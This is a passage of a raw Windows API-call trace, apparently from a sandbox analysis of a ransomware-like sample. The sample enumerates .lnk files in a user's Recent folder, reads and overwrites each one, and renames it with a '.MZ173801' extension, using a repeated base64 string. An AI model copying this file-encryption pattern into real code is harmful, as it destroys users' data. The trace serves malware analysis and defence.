lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Abo9IBT_wYq3F_uBufO.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\abo9ibt_wyq3f_ubufo.lnk.mz173801")) returned 1 [0120.850] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf004140, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf004140, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf004140, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1466, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="adRssK1YxaXTZ1L 7.mkv.lnk", cAlternateFileName="ADRSSK~1.LNK")) returned 1 [0120.850] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.850] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.850] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\adRssK1YxaXTZ1L 7.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\adrssk1yxaxtz1l 7.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf004140, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf004140, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf004140, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1466)) returned 1 [0120.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\adRssK1YxaXTZ1L 7.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\adrssk1yxaxtz1l 7.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.853] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.853] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.853] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1466 [0120.854] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.854] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1466, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1466, lpOverlapped=0x0) returned 1 [0120.854] CloseHandle (hObject=0x288) returned 1 [0120.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\adRssK1YxaXTZ1L 7.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\adrssk1yxaxtz1l 7.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.856] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1466, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1466, lpOverlapped=0x0) returned 1 [0120.857] CloseHandle (hObject=0x288) returned 1 [0120.861] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\adRssK1YxaXTZ1L 7.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\adrssk1yxaxtz1l 7.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\adRssK1YxaXTZ1L 7.mkv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\adrssk1yxaxtz1l 7.mkv.lnk.mz173801")) returned 1 [0120.862] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8dff40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde8dff40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde8dff40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Aei5BV-NT.lnk", cAlternateFileName="AEI5BV~1.LNK")) returned 1 [0120.862] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.862] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.862] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Aei5BV-NT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\aei5bv-nt.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8dff40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde8dff40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde8dff40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x243)) returned 1 [0120.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.865] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Aei5BV-NT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\aei5bv-nt.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.865] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.865] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.865] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x243 [0120.865] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.866] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x243, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x243, lpOverlapped=0x0) returned 1 [0120.877] CloseHandle (hObject=0x288) returned 1 [0120.877] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Aei5BV-NT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\aei5bv-nt.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.878] 